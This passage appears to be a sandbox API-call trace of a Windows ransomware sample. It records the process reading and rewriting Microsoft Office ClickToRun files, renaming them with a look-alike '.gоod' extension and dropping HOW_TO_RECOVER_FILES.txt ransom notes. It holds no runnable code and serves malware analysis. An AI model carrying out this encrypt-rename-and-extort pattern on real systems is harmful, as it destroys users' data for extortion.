GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x3572228 | out: lpFileInformation=0x3572228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x37142600, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5211)) returned 1 [0075.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0075.707] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0075.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0075.707] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0075.707] GetFileType (hFile=0x768) returned 0x1 [0075.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0075.707] GetFileType (hFile=0x768) returned 0x1 [0075.707] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x10fa5a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x10fa5a8*=0) returned 0x1000 [0075.707] ReadFile (in: hFile=0x768, lpBuffer=0x3572710, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa578, lpOverlapped=0x0 | out: lpBuffer=0x3572710*, lpNumberOfBytesRead=0x10fa578*=0x1000, lpOverlapped=0x0) returned 1 [0075.710] CloseHandle (hObject=0x768) returned 1 [0075.710] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0075.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0075.710] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0075.710] GetFileType (hFile=0x768) returned 0x1 [0075.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0075.710] GetFileType (hFile=0x768) returned 0x1 [0075.710] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x10fa5a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x10fa5a8*=0) returned 0x5211 [0075.710] WriteFile (in: hFile=0x768, lpBuffer=0x3573a10*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x10fa498, lpOverlapped=0x0 | out: lpBuffer=0x3573a10*, lpNumberOfBytesWritten=0x10fa498*=0x10, lpOverlapped=0x0) returned 1 [0075.724] CloseHandle (hObject=0x768) returned 1 [0075.727] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0075.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0075.727] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0075.727] GetFileType (hFile=0x768) returned 0x1 [0075.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0075.727] GetFileType (hFile=0x768) returned 0x1 [0075.727] ReadFile (in: hFile=0x768, lpBuffer=0x3576de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa528, lpOverlapped=0x0 | out: lpBuffer=0x3576de0*, lpNumberOfBytesRead=0x10fa528*=0x1000, lpOverlapped=0x0) returned 1 [0075.739] CloseHandle (hObject=0x768) returned 1 [0075.739] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0075.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0075.739] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0075.739] GetFileType (hFile=0x768) returned 0x1 [0075.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0075.739] GetFileType (hFile=0x768) returned 0x1 [0075.739] WriteFile (in: hFile=0x768, lpBuffer=0x3575ad0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10fa5d8, lpOverlapped=0x0 | out: lpBuffer=0x3575ad0*, lpNumberOfBytesWritten=0x10fa5d8*=0x1010, lpOverlapped=0x0) returned 1 [0075.739] CloseHandle (hObject=0x768) returned 1 [0075.740] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x6e [0075.740] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml.gоod", lpFilePart=0x0) returned 0x73 [0075.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa510) returned 1 [0075.740] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x10fa5f0 | out: lpFileInformation=0x10fa5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x295b5db3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5221)) returned 1 [0075.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa4d0) returned 1 [0075.740] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml.gоod")) returned 1 [0075.741] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat", lpFilePart=0x0) returned 0x6c [0075.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0075.741] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat"), fInfoLevelId=0x0, lpFileInformation=0x35f3378 | out: lpFileInformation=0x35f3378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38480a)) returned 1 [0075.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0075.741] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat", lpFilePart=0x0) returned 0x6c [0075.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0075.741] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0075.741] GetFileType (hFile=0x768) returned 0x1 [0075.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0075.742] GetFileType (hFile=0x768) returned 0x1 [0075.742] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x10fa5a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x10fa5a8*=0) returned 0x1000 [0075.742] ReadFile (in: hFile=0x768, lpBuffer=0x35f3860, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa578, lpOverlapped=0x0 | out: lpBuffer=0x35f3860*, lpNumberOfBytesRead=0x10fa578*=0x1000, lpOverlapped=0x0) returned 1 [0075.747] CloseHandle (hObject=0x768) returned 1 [0075.747] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat", lpFilePart=0x0) returned 0x6c [0075.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0075.747] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0075.747] GetFileType (hFile=0x768) returned 0x1 [0075.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0075.747] GetFileType (hFile=0x768) returned 0x1 [0075.747] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x10fa5a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x10fa5a8*=0) returned 0x38480a [0075.748] WriteFile (in: hFile=0x768, lpBuffer=0x35f4b60*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x10fa498, lpOverlapped=0x0 | out: lpBuffer=0x35f4b60*, lpNumberOfBytesWritten=0x10fa498*=0x10, lpOverlapped=0x0) returned 1 [0075.749] CloseHandle (hObject=0x768) returned 1 [0076.815] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat", lpFilePart=0x0) returned 0x6c [0076.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0076.815] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0076.815] GetFileType (hFile=0x6b0) returned 0x1 [0076.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0076.825] GetFileType (hFile=0x6b0) returned 0x1 [0076.825] ReadFile (in: hFile=0x6b0, lpBuffer=0x3357ae8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa528, lpOverlapped=0x0 | out: lpBuffer=0x3357ae8*, lpNumberOfBytesRead=0x10fa528*=0x1000, lpOverlapped=0x0) returned 1 [0076.837] CloseHandle (hObject=0x6b0) returned 1 [0076.837] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat", lpFilePart=0x0) returned 0x6c [0076.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0076.837] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0076.837] GetFileType (hFile=0x6b0) returned 0x1 [0076.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0076.837] GetFileType (hFile=0x6b0) returned 0x1 [0076.838] WriteFile (in: hFile=0x6b0, lpBuffer=0x3355120*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10fa5d8, lpOverlapped=0x0 | out: lpBuffer=0x3355120*, lpNumberOfBytesWritten=0x10fa5d8*=0x1010, lpOverlapped=0x0) returned 1 [0076.838] CloseHandle (hObject=0x6b0) returned 1 [0077.427] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat", lpFilePart=0x0) returned 0x6c [0077.451] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat.gоod", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat.gоod", lpFilePart=0x0) returned 0x71 [0077.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa510) returned 1 [0077.451] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat"), fInfoLevelId=0x0, lpFileInformation=0x10fa5f0 | out: lpFileInformation=0x10fa5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x2a5cdc25, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x38481a)) returned 1 [0077.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa4d0) returned 1 [0077.452] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat.gоod")) returned 1 [0077.452] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6b [0077.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0077.452] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x790 [0077.453] GetFileType (hFile=0x790) returned 0x1 [0077.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0077.453] GetFileType (hFile=0x790) returned 0x1 [0077.454] WriteFile (in: hFile=0x790, lpBuffer=0x32f4b90*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x32f4b90*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0077.455] CloseHandle (hObject=0x790) returned 1 [0077.455] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x61 [0077.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0077.455] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x790 [0077.455] GetFileType (hFile=0x790) returned 0x1 [0077.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0077.455] GetFileType (hFile=0x790) returned 0x1 [0077.456] WriteFile (in: hFile=0x790, lpBuffer=0x32f8468*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x32f8468*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0077.457] CloseHandle (hObject=0x790) returned 1 [0077.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0077.457] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpFilePart=0x0) returned 0x48 [0077.457] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0077.459] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.459] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f9a029, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82f9a029, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0077.460] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0077.460] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0077.460] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0077.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0077.461] SetThreadErrorMode (dwNewMode=0x0, 